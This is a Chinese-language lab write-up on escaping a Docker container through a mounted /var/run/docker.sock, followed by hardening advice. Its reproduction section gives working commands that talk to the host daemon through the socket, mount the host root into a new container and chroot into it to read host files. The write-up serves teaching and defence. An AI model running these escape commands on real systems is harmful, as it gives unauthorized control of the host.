影响版本

危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险

  • 挂载了 Docker Socket: 启动容器时使用了 -v /var/run/docker.sock:/var/run/docker.sock 这样的参数
  • 容器内权限足够: 攻击者在容器内获得的用户权限(通常是 root)足以执行 Docker 命令或与 socket 文件交互。

漏洞原理

当容器被授予了与 Docker 守护进程(Docker Daemon)直接通信的权限时,攻击者可以利用此权限控制宿主机。通常是由于将宿主机的 /var/run/docker.sock 文件挂载到容器内部实现的。

环境搭建

1
sudo docker run -v /var/run/docker.sock:/var/run/docker.sock -it --name vulnerable_container ubuntu /bin/bash

漏洞复现

容器内安装Docker客户端

1
apt update && apt install -y docker.io

可以利用Socket控制宿主机Docker:通过sock文件与宿主机Docker通信,例如列出宿主机的容器:

1
docker -H unix:///var/run/docker.sock ps -a

逃逸:创建一个新容器,将宿主机根目录挂载到新容器内

1
docker -H unix:///var/run/docker.sock run -it -v /:/escape ubuntu /bin/bash

然后在新容器内执行chroot /escape bash即可访问宿主机文件系统。

1
2
3
4
5
#在桌面创建了一个文件1.txt
echo "test" >1.txt
#容器的容器内执行,读取文件
chroot /escape bash
cat 1.txt

image

image

修复建议

Docker Socket 逃逸是一种高风险配置错误,它并非特定版本的漏洞。其核心在于容器内进程获得了与高权限的 Docker 守护进程通信的能力。防范的关键在于避免不必要的敏感挂载遵循最小权限原则并实施严格的身份验证和授权